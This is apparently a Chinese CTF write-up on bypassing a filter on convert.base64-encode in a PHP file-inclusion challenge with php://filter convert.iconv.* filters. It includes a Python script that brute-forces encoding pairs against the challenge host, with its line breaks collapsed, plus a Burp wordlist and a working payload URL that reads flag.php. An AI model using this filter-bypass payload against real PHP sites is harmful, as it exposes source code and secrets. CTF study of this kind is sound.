轉換過濾器官方文檔：https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv

這道題因為convert.base64-encode被過濾掉了，所以使用convert.iconv.*過濾器

在激活 iconv 的前提下可以使用 convert.iconv.* 壓縮過濾器， 等同于用 iconv() 處理所有的流數據。 該過濾器不支持參數，但可使用輸入/輸出的編碼名稱，組成過濾器名稱，比如 convert.iconv.<input-encoding>.<output-encoding> 或 convert.iconv.<input-encoding>/<output-encoding> （兩種寫法的語義都相同）。

直接上腳本爆破出合適的編碼：

import requestsin_encodings = ['UCS-4*', 'UCS-4BE', 'UCS-4LE*', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UTF-32*', 'UTF-32BE*', 'UTF-32LE*', 'UTF-16*', 'UTF-16BE*', 'UTF-16LE*', 'UTF-7', 'UTF7-IMAP', 'UTF-8*', 'ASCII*', 'EUC-JP*', 'SJIS*', 'eucJP-win*', 'SJIS-win*', 'ISO-2022-JP', 'ISO-2022-JP-MS', 'CP932', 'CP51932', 'SJIS-mac', 'SJIS-Mobile#DOCOMO', 'SJIS-Mobile#KDDI', 'SJIS-Mobile#SOFTBANK', 'UTF-8-Mobile#DOCOMO', 'UTF-8-Mobile#KDDI-A', 'UTF-8-Mobile#KDDI-B', 'UTF-8-Mobile#SOFTBANK', 'ISO-2022-JP-MOBILE#KDDI', 'JIS', 'JIS-ms', 'CP50220', 'CP50220raw', 'CP50221', 'CP50222', 'ISO-8859-1*', 'ISO-8859-2*', 'ISO-8859-3*', 'ISO-8859-4*', 'ISO-8859-5*', 'ISO-8859-6*', 'ISO-8859-7*', 'ISO-8859-8*', 'ISO-8859-9*', 'ISO-8859-10*', 'ISO-8859-13*', 'ISO-8859-14*', 'ISO-8859-15*', 'ISO-8859-16*', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'HTML-ENTITIES', '7bit', '8bit', 'EUC-CN*', 'CP936', 'GB18030', 'HZ', 'EUC-TW*', 'CP950', 'BIG-5*', "CP{949}", "CP{775}"]out_codings = in_encodings[:]
for inenc in in_encodings:for outenc in out_codings:url = 'http://61.147.171.105:62135/?filename=php://filter/convert.iconv.{}.{}/resource=flag.php'.format(inenc,outenc)res = requests.get(url)if "flag" in res.text:print("inenc is:{},outenc is:{}".format(inenc,outenc))print(res.text)

burp爆破用這個字典

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac
SJIS-Mobile#DOCOMO
SJIS-Mobile#KDDI
SJIS-Mobile#SOFTBANK
UTF-8-Mobile#DOCOMO
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B
UTF-8-Mobile#SOFTBANK
ISO-2022-JP-MOBILE#KDDI
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC
ISO-2022-KR
Windows-1251
Windows-1252
CP866
KOI8-R*
KOI8-U*
ArmSCII-8

選集束炸彈模式，我這里沒有爆破完已經出來能用的了

dirsearch掃出還有個flag.php，flag應該就在這里面

構造payload：

http://61.147.171.105:62135?filename=php://filter/convert.iconv.UTF-8*.UTF-32*/resource=flag.php